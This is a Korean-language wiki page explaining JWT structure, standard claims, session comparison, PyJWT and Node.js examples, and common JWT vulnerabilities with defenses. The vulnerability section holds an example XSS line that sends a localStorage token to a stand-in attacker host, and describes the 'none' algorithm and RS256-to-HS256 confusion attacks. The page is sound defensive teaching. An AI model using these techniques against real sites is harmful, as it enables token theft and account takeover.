전체 그래프
Authentication

JWT

web-securityauthenticationjwttoken

상위: Web Security

요약

JWT(JSON Web Token)는 당사자 간 정보를 안전하게 전송하기 위한 토큰 형식입니다. 서명되어 있어 변조 감지가 가능하며, 서버가 세션 상태를 유지하지 않아도 됩니다(Stateless).

JWT 구조

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjE1MTYyMzkwMjJ9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
┌─────────────┐   ┌─────────────┐   ┌─────────────┐
   Header     .    Payload    .   Signature  
  (Base64)        (Base64)                   
└─────────────┘   └─────────────┘   └─────────────┘

1. Header (헤더)

{
  "alg": "HS256",  // 서명 알고리즘
  "typ": "JWT"
}
알고리즘유형설명
HS256대칭키HMAC + SHA-256
RS256비대칭키RSA + SHA-256
ES256비대칭키ECDSA + SHA-256
none없음⚠️ 서명 없음 (위험)

2. Payload (페이로드)

{
  "sub": "1234567890",    // Subject (사용자 ID)
  "name": "John Doe",     // 사용자 정의 클레임
  "admin": true,
  "iat": 1516239022,      // Issued At (발급 시간)
  "exp": 1516242622       // Expiration (만료 시간)
}

표준 클레임 (Registered Claims)

클레임설명
issIssuer (발급자)
subSubject (주체, 사용자 ID)
audAudience (대상)
expExpiration Time (만료 시간)
iatIssued At (발급 시간)
nbfNot Before (활성화 시간)
jtiJWT ID (고유 식별자)

3. Signature (서명)

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

목적: 토큰 변조 감지

Session vs JWT

항목SessionJWT
저장 위치서버 (메모리/DB)클라이언트
확장성서버 부담 증가쉬움 (Stateless)
무효화쉬움 (세션 삭제)어려움 (만료까지 유효)
크기작음 (세션 ID만)큼 (데이터 포함)
XSS영향 적음 (HttpOnly)취약 (localStorage 저장 시)
CSRF취약덜 취약 (쿠키 아님)

인증 흐름

┌─────────┐                    ┌─────────────┐
 Client                         Server    
└────┬────┘                    └──────┬──────┘
       1. 로그인 요청                 
       (username, password)          
     │───────────────────────────────▶│
                                     
       2. JWT 발급                    
       {access_token, refresh_token} 
     │◀───────────────────────────────│
                                     
       3. API 요청                    
       Authorization: Bearer {token} 
     │───────────────────────────────▶│
                                     
       4. 토큰 검증  응답            
     │◀───────────────────────────────│

구현 예시

Python (PyJWT)

import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key"

# 토큰 생성
def create_token(user_id):
    payload = {
        "sub": user_id,
        "iat": datetime.utcnow(),
        "exp": datetime.utcnow() + timedelta(hours=1)
    }
    return jwt.encode(payload, SECRET_KEY, algorithm="HS256")

# 토큰 검증
def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload
    except jwt.ExpiredSignatureError:
        return None  # 만료됨
    except jwt.InvalidTokenError:
        return None  # 유효하지 않음

Node.js (jsonwebtoken)

const jwt = require('jsonwebtoken');

const SECRET_KEY = 'your-secret-key';

// 토큰 생성
function createToken(userId) {
    return jwt.sign(
        { sub: userId },
        SECRET_KEY,
        { expiresIn: '1h' }
    );
}

// 토큰 검증
function verifyToken(token) {
    try {
        return jwt.verify(token, SECRET_KEY);
    } catch (error) {
        return null;
    }
}

Express 미들웨어

function authMiddleware(req, res, next) {
    const authHeader = req.headers.authorization;

    if (!authHeader || !authHeader.startsWith('Bearer ')) {
        return res.status(401).json({ error: 'No token provided' });
    }

    const token = authHeader.split(' ')[1];
    const payload = verifyToken(token);

    if (!payload) {
        return res.status(401).json({ error: 'Invalid token' });
    }

    req.user = payload;
    next();
}

JWT 보안 취약점

1. None Algorithm Attack

// 공격자가 헤더 조작
{
  "alg": "none",  // 서명 검증 우회
  "typ": "JWT"
}

방어:

# 알고리즘 명시적 지정
jwt.decode(token, SECRET_KEY, algorithms=["HS256"])  # "none" 거부

2. Algorithm Confusion (RS256 → HS256)

서버가 RS256 (비대칭키) 사용
 공격자가 HS256으로 변경
 공개키를 비밀키로 사용하여 서명
 서버가 공개키로 검증  통과

방어:

# 허용할 알고리즘 명시
jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])

3. Weak Secret Key

# 취약한 
SECRET_KEY = "secret"  # 쉽게 추측 가능

# 안전한 
import secrets
SECRET_KEY = secrets.token_hex(32)  # 64자 랜덤 문자열

4. XSS를 통한 토큰 탈취

// localStorage에 저장된 토큰 탈취
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));

방어:

  • HttpOnly 쿠키에 저장 (XSS로 접근 불가)
  • 또는 메모리에만 저장 (새로고침 시 재발급)

5. 토큰 무효화 불가

사용자가 로그아웃해도 토큰은 만료까지 유효
 탈취된 토큰 계속 사용 가능

방어:

  • 짧은 만료 시간 (15분)
  • Refresh Token Rotation
  • 블랙리스트 (토큰 ID 저장) - Stateless 장점 상실

Access Token + Refresh Token

┌─────────────────────────────────────────────────────┐
                  Token Strategy                     
├─────────────────────────────────────────────────────┤
  Access Token     짧은 수명 (15분)                  
                   API 요청에 사용                   
                   탈취되어도 빠르게 만료             
├─────────────────────────────────────────────────────┤
  Refresh Token     수명 (7일)                    
                    Access Token 발급에만 사용     
                   HttpOnly 쿠키에 저장              
                   DB에 저장하여 무효화 가능          
└─────────────────────────────────────────────────────┘

Refresh Token Rotation

1. Refresh Token으로  토큰 요청
2.  Access Token +  Refresh Token 발급
3. 기존 Refresh Token 무효화
4. 탈취된 토큰 사용  전체 무효화

JWT 저장 위치

위치XSSCSRF추천
localStorage취약안전
sessionStorage취약안전
HttpOnly Cookie안전취약⚠️
Memory안전안전✅ (새로고침 시 재발급 필요)

추천 방식

Access Token   메모리 (JavaScript 변수)
Refresh Token  HttpOnly + Secure + SameSite Cookie

검증 체크리스트

def verify_jwt(token):
    # 1. 서명 검증
    # 2. 알고리즘 확인 (허용된 것만)
    # 3. 만료 시간 (exp) 확인
    # 4. 발급자 (iss) 확인
    # 5. 대상 (aud) 확인

    payload = jwt.decode(
        token,
        SECRET_KEY,
        algorithms=["HS256"],
        options={
            "require": ["exp", "iss", "sub"],
            "verify_exp": True,
            "verify_iss": True
        },
        issuer="https://myapp.com"
    )
    return payload

관련 개념

  • OAuth - JWT를 Access Token으로 사용
  • Session - 전통적 상태 기반 인증
  • XSS - JWT 탈취 위협
  • CSRF - 쿠키 기반 저장 시 위협

참고 자료